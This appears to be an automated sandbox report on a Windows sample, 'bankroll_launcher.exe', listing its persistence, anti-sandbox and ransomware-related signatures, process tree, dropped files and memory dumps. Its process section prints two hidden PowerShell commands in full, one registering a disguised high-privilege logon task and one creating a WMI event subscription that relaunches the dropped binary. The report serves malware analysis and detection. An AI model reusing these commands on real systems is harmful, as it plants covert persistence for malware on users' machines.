Overview

overview

8

Static

static

5

bankroll_launcher.exe

windows10-2004-x64

8

bankroll_launcher.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    146s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 23:27

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General

  • Target
    bankroll_launcher.exe
  • Size 12.6MB
  • Sample260705-3fjecsb17m
  • SHA256 b81369a38efdaa61424ef9f55aecf01652d928b5f53bc20c8f6bfb81ba4d9d08
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionpersistenceransomwarespywareupx

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\bankroll_launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\bankroll_launcher.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:5380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\RuntimeBroker.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'RuntimeBroker_727529ae' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'RuntimeBroker_f727529ae'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'RuntimeBroker_c727529ae'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\RuntimeBroker.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='RuntimeBroker_f727529ae'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='RuntimeBroker_c727529ae'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:2196
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:5972
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5116
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3904
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4536

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 599B
          • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 607B
          • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_jrphbwvz.lny.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jrphbwvz.lny.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          agent-3360003506.tmp
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-3360003506.tmp
          • Size 12.6MB
          • SHA256 b81369a38efdaa61424ef9f55aecf01652d928b5f53bc20c8f6bfb81ba4d9d08
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/1808-187-0x000001CBA64C0000-0x000001CBA64DE000-memory.dmp
          Download

          memory/1808-183-0x000001CBA6480000-0x000001CBA649E000-memory.dmp
          Download

          memory/1808-186-0x000001CBA6470000-0x000001CBA647A000-memory.dmp
          Download

          memory/1808-180-0x000001CBA6410000-0x000001CBA6432000-memory.dmp
          Download

          memory/1808-184-0x000001CBA6610000-0x000001CBA66C2000-memory.dmp
          Download

          memory/5116-31-0x000001FA03C70000-0x000001FA03C90000-memory.dmp
          Download

          memory/5116-70-0x000001FA14290000-0x000001FA142B0000-memory.dmp
          Download

          memory/5116-56-0x000001FA03C90000-0x000001FA03CB0000-memory.dmp
          Download

          memory/5116-33-0x000001FA03E30000-0x000001FA03F30000-memory.dmp
          Download

          memory/5116-25-0x000001FA001E0000-0x000001FA002E0000-memory.dmp
          Download

          memory/5380-195-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5380-3-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5380-0-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5380-2-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5380-1-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5380-171-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5380-199-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5380-201-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5380-205-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5380-213-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5380-219-0x00007FF68DAB0000-0x00007FF692140000-memory.dmp
          Download

          memory/5972-185-0x0000000005B90000-0x0000000005DEF000-memory.dmp
          Download